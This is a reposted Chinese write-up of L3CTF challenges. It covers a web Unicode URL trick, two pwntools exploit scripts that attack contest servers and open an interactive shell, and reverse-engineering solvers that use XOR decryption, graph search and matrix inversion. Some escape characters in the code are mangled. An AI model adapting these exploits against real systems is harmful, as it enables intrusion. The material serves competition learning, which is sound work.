L3CTF-WriteUp

admin 2021年11月18日10:00:50CTF专场评论238 views10598字阅读35分19秒阅读模式

Web

Easy PHP

解题思路
在字符串中间插入了一些特殊unicode字符,比如&#202E; 直接右键检查,复制相应的字符串,然后用quote url编码一下,传最下面的url即可L3CTF-WriteUphttp://124.71.176.131:10001/?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf

L3CTF-WriteUp

Image Service 1

解题思路
注册了aaa账号,正常测试功能.多次测试上传图片后会有flag图片出现.或者在搜索哪里搜索也可以.应该是作为flag1比较简单

L3CTF-WriteUp
L3CTF-WriteUp

另外的一个做法是,js能看到前端的处理逻辑,sharelist是搜索分享列表的 ,结合题目说的在admin的分享列表,搜索admin提示有限制,搜索Admin即可

L3CTF-WriteUp

Pwn

SPN

解题思路

from pwn import *
libc = ELF("./libc-2.27.so")
p = remote("124.71.194.126", 9999)
def add(size, idx):
 p.sendlineafter("exit""1")
 p.sendlineafter("Size:", str(size))
 p.sendlineafter("Index", str(idx))
def edit(idx, size, content):
 p.sendlineafter("exit""2")
 p.sendlineafter("Index", str(idx))
 p.sendlineafter("Size", str(size))
 p.sendafter("Content", content)

def exp():
 add(0x1000, 0)
 edit(0, 0x1008, "x00"*0x8)
 p.sendlineafter("exit""5")
 
 p.interactive()
if __name__ == '__main__':
 exp()

checkin

解题思路

from pwn import *
context.log_level = 'debug'
def pwn():
 try:
  p = remote("123.60.97.201", 9999)
  p.sendafter("you:""x00"*0x20)
  p.send("1")
  p.sendlineafter("fun!", p64(0x4f7e70))
  p.sendafter("you:""x00"*0x10)
  p.sendafter("fun!n""x1cx34x12")
  p.sendline("ls")
  p.sendline("ls")
  data = p.recv()
  if "AddressSanitizer" in data:
   raise Exception
  p.interactive()
 except:
  p.close()
if __name__ == '__main__':
 while True:
  pwn()

Reverse

idaaaaaa

解题思路 (po叔nb) 所有的东西都在conditional breakpoint里

使用这个程序可以解密所有字符串

target_string=[] # 这里是那么多的byte
start_ind=set()
all_ind=[-1]*999

for VLzxDy in range(19):
    if VLzxDy == 0:
        bYsMTa = 287
        LjzrdT = b'lqAT7pNI3BX'
    elif VLzxDy == 1:
        bYsMTa = 96
        LjzrdT = b'z3Uhis74aPq'
    elif VLzxDy == 2:
        bYsMTa = 8
        LjzrdT = b'9tjseMGBHR5'
    elif VLzxDy == 3:
        bYsMTa = 777
        LjzrdT = b'FhnvgMQjexH'
    elif VLzxDy == 4:
        bYsMTa = 496
        LjzrdT = b'SKnZ51f9WsE'
    elif VLzxDy == 5:
        bYsMTa = 822
        LjzrdT = b'gDJy104BSHW'
    elif VLzxDy == 6:
        bYsMTa = 914
        LjzrdT = b'PbRV4rSM7fd'
    elif VLzxDy == 7:
        bYsMTa = 550
        LjzrdT = b'WHPnoMTsbx3'
    elif VLzxDy == 8:
        bYsMTa = 273
        LjzrdT = b'mLx5hvlqufG'
    elif VLzxDy == 9:
        bYsMTa = 259
        LjzrdT = b'QvKgNmUFTnW'
    elif VLzxDy == 10:
        bYsMTa = 334
        LjzrdT = b'TCrHaitRfY1'
    elif VLzxDy == 11:
        bYsMTa = 966
        LjzrdT = b'm26IAvjq1zC'
    elif VLzxDy == 12:
        bYsMTa = 331
        LjzrdT = b'dQb2ufTZwLX'
    elif VLzxDy == 13:
        bYsMTa = 680
        LjzrdT = b'Y6Sr7znOeHL'
    elif VLzxDy == 14:
        bYsMTa = 374
        LjzrdT = b'hLFj1wl5A0U'
    elif VLzxDy == 15:
        bYsMTa = 717
        LjzrdT = b'H6W03R7TLFe'
    elif VLzxDy == 16:
        bYsMTa = 965
        LjzrdT = b'fphoJwDKsTv'
    elif VLzxDy == 17:
        bYsMTa = 952
        LjzrdT = b'CMF1Vk7NH4O'
    elif VLzxDy == 18:
        bYsMTa = 222
        LjzrdT = b'43PSbAlgLqj'
    start_ind.add((bYsMTa,str(LjzrdT,encoding='utf-8')))
    all_ind[bYsMTa]=(LjzrdT,VLzxDy)
    # print('=================================')
    # print(str(bytes([target_string[bYsMTa][i]^LjzrdT[i%11] for i in range(len(target_string[bYsMTa]))]),encoding='utf-8'))
def xor_(a,k):
    if type(k)==str:
        k=bytes(k,encoding='utf-8')
    return str(bytes([k[i%len(k)]^target_string[a][i] for i in range(len(target_string[a]))]),encoding='utf-8')
# print('=============================')
# print(xor_(667,b'vjHiPd4bBuf'))

# print(len(target_string))
import re
lnind=start_ind
if_pattern=re.compile(r'e{0,1}l{0,1}if [a-zA-Z][0-9a-zA-Z]+ == [0-9]+:n    [0-9a-zA-Z]+ = [0-9]+n    [0-9a-zA-Z]+ = b'[0-9a-zA-Z]+'')
bytes_pattern=re.compile(r'b'[0-9a-zA-Z]+'')
number_pattern=re.compile(r'[0-9]+')
for i in range(100):
    nind=set()
    for ind in lnind:
        try:
            cmds=xor_(ind[0],ind[1])
        except:
            print(ind)
            continue
        # print(cmds)
        # print(if_pattern.findall(cmds))
        all_if=if_pattern.findall(cmds)
        # print(all_if)
        for ifs in all_if:
            b=bytes_pattern.findall(ifs)
            nums=number_pattern.findall(ifs) # ,int(nums[0])
            nind.add((int(nums[1]),b[0][2:-1]))
    lnind=nind
    for ind in nind:
        start_ind.add(ind)
    print(len(start_ind),i)
    # if len(start_ind)>=1000:
    #     break
print(len(start_ind),start_ind)
# exit(0)
for ind in start_ind:
    for i1 in start_ind:
        if i1[0]==ind[0] and i1!=ind:
            print(i1,ind)
f=open('4.py','w')
for ind in start_ind:
    plain=xor_(ind[0],ind[1])
    if '4927649' not in plain:
        print(ind,plain)
    f.write(plain)
    f.write('n=======================n')
f.close()

现在需要找到最终结束的地方,然后搜索一个最短路径

在4.py中搜索4927649,有999个,这个字符串指向O, no,找到哪一个不包含4927649的就可以 发现是这个

(426, 'akUx3IWl29V'
idaapi.del_bpt(cpu.rip)
cpu.rax = 0
cpu.rip = 4202594

这个地址指向的内容是

ext:0000000000402062                 lea     rdi, aCorrectFlagIsL ; "correct! flag is L3HCTF{md5($SHORTEST_V"...
.text:0000000000402069                 mov     eax, 0
.text:000000000040206E                 call    printf
.text:0000000000402073
.text:0000000000402073 loc_402073:                             ; CODE XREF: sub_401FE8+78↑j
.text:0000000000402073                 mov     eax, 0
.text:0000000000402078                 leave
.text:0000000000402079                 retn

就是成功,现在需要搜索到这个成功的最短路径 如果两个点都可以到达下一个点,那么答案不唯一,所以直接从起始点扩展就可以 target_string=[] # 程序中复制出来的byte start_ind=set() all_ind=set()

for VLzxDy in range(19):
    if VLzxDy == 0:
        bYsMTa = 287
        LjzrdT = b'lqAT7pNI3BX'
    elif VLzxDy == 1:
        bYsMTa = 96
        LjzrdT = b'z3Uhis74aPq'
    elif VLzxDy == 2:
        bYsMTa = 8
        LjzrdT = b'9tjseMGBHR5'
    elif VLzxDy == 3:
        bYsMTa = 777
        LjzrdT = b'FhnvgMQjexH'
    elif VLzxDy == 4:
        bYsMTa = 496
        LjzrdT = b'SKnZ51f9WsE'
    elif VLzxDy == 5:
        bYsMTa = 822
        LjzrdT = b'gDJy104BSHW'
    elif VLzxDy == 6:
        bYsMTa = 914
        LjzrdT = b'PbRV4rSM7fd'
    elif VLzxDy == 7:
        bYsMTa = 550
        LjzrdT = b'WHPnoMTsbx3'
    elif VLzxDy == 8:
        bYsMTa = 273
        LjzrdT = b'mLx5hvlqufG'
    elif VLzxDy == 9:
        bYsMTa = 259
        LjzrdT = b'QvKgNmUFTnW'
    elif VLzxDy == 10:
        bYsMTa = 334
        LjzrdT = b'TCrHaitRfY1'
    elif VLzxDy == 11:
        bYsMTa = 966
        LjzrdT = b'm26IAvjq1zC'
    elif VLzxDy == 12:
        bYsMTa = 331
        LjzrdT = b'dQb2ufTZwLX'
    elif VLzxDy == 13:
        bYsMTa = 680
        LjzrdT = b'Y6Sr7znOeHL'
    elif VLzxDy == 14:
        bYsMTa = 374
        LjzrdT = b'hLFj1wl5A0U'
    elif VLzxDy == 15:
        bYsMTa = 717
        LjzrdT = b'H6W03R7TLFe'
    elif VLzxDy == 16:
        bYsMTa = 965
        LjzrdT = b'fphoJwDKsTv'
    elif VLzxDy == 17:
        bYsMTa = 952
        LjzrdT = b'CMF1Vk7NH4O'
    elif VLzxDy == 18:
        bYsMTa = 222
        LjzrdT = b'43PSbAlgLqj'
    start_ind.add(bYsMTa)
    all_ind.add((bYsMTa,str(LjzrdT,encoding='utf-8')))
def xor_(a,k):
    if type(k)==str:
        k=bytes(k,encoding='utf-8')
    return str(bytes([k[i%len(k)]^target_string[a][i] for i in range(len(target_string[a]))]),encoding='utf-8')
import re
lnind=all_ind
if_pattern=re.compile(r'e{0,1}l{0,1}if [a-zA-Z][0-9a-zA-Z]+ == [0-9]+:n    [0-9a-zA-Z]+ = [0-9]+n    [0-9a-zA-Z]+ = b'[0-9a-zA-Z]+'')
bytes_pattern=re.compile(r'b'[0-9a-zA-Z]+'')
number_pattern=re.compile(r'[0-9]+')
next_dict=dict() # 记录当前节点可以到达的下一节点
for i in range(100):
    nind=set()
    for ind in lnind:
        try:
            cmds=xor_(ind[0],ind[1])
        except:
            print(ind)
            continue
        # print(cmds)
        # print(if_pattern.findall(cmds))
        all_if=if_pattern.findall(cmds)
        if ind[0] not in next_dict.keys():
            next_dict[ind[0]]=set()
        # print(all_if)
        for ifs in all_if:
            b=bytes_pattern.findall(ifs)
            nums=number_pattern.findall(ifs) # ,int(nums[0])
            nind.add((int(nums[1]),b[0][2:-1]))
            next_dict[ind[0]].add((int(nums[1]),int(nums[0])))
    lnind=nind
    for ind in nind:
        all_ind.add(ind)
    print(len(all_ind),i)
    if len(start_ind)>=len(target_string):
        break
f=open('4.py','w')
for ind in all_ind:
    # print('===========================')
    # print(ind)
    # print(xor_(ind[0],ind[1]))
    plain=xor_(ind[0],ind[1])
    if '4927649' not in plain:
        print(ind,plain)
    f.write(plain)
    f.write('n=======================n')
f.close()
print(next_dict)
# 搜索原则:节点不能重复添加
all_solve=[]

def make_answer(path:list):
    answer=''
    answer+=chr(12+ord('a'))
    for i,p in enumerate(path):
        if i==len(path)-1:break
        tos=next_dict


        for n in tos:
            if n[0]==path[i+1]:
                answer+=chr(n[1]+ord('a'))
                break
    print(answer)
        
print(start_ind)
def search(current_choices:set,current_state:list):
    # print(current_state)
    for cc in current_choices:
        if cc==426:
            print(current_state)
        elif cc not in current_state:
            current_state.append(cc)
            next_set=next_dict[cc]
            search([i[0] for i in next_set],current_state)
            current_state.pop()

# search(start_ind,[])
distance=[-1]*1000
last_node=[-2]*1000

for i in start_ind:
    distance[i]=1
    last_node[-1]=-1
last_cur=start_ind
for i in range(1000):
    cur_dis=set()
    for ind in last_cur:
        cur_nodes=next_dict[ind]
        for cn in cur_nodes:
            if distance[cn[0]]==-1:
                distance[cn[0]]=distance[ind]+1
                last_node[cn[0]]=ind
                cur_dis.add(cn[0])
                if cn[0]==426:
                    print(distance,last_node)
                    path=[]
                    start=426
                    while start>0:
                        path.insert(0,start)
                        start=last_node[start]
                    print(len(path),path)
                    make_answer(path)
                    exit(0)
    last_cur=cur_dis

最后得到

mcaebacedaabfacacabgagbbaaeacabcbacebagaaabcdbgbdbcbdacgabfbbebababbbbbcaabdababafaccacdagdaababaaaa

load

解题思路 给load程序真是一个loader,data段中有一个加密过的pe文件,前期经过解密,然后通过这个loader新开一个进程,然后应该是根据pe文件格式加载进内存,这里没太注意,毕竟关键点不在这,直接先把解密的pe格式dump下来再说,然后再用ida打开,L3CTF-WriteUp关键地方在这,难点就是401370的算法,这里是在看的过程中,感觉有点行列式的感觉,注重去搜了这方面的算法,后面根据对照发现就是矩阵求逆,在线找了一个求逆的网站,直接解, https://matrix.reshish.com/zh/inverCalculation.php ,然后发现这里有负数,再跟进去看是无符号转有符号了,这里还得弄回去,这里负数就加256,返回去,然后写脚本逆就行了

input=[-8,18,-9,6,-13,6,-1,2,-1,13,-3,-30,7]
strtable=[0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f"]
for i in range(len(input)):
    tmp=input[i]
    a=tmp//16
    b=tmp%16
    if tmp<0:
        a=(tmp+256)//16
        b = (input[i] + 256) % 16

    a=strtable[a]
    b=strtable[b]
    print(str(a)+str(b))

flag{f812f706f306ff02ff0dfde207}

L3CTF-WriteUp

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析+AI 长期招新

欢迎联系[email protected]



L3CTF-WriteUp

原文始发于微信公众号(ChaMd5安全团队):L3CTF-WriteUp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月18日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  L3CTF-WriteUp http://cn-sec.com/archives/638320.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: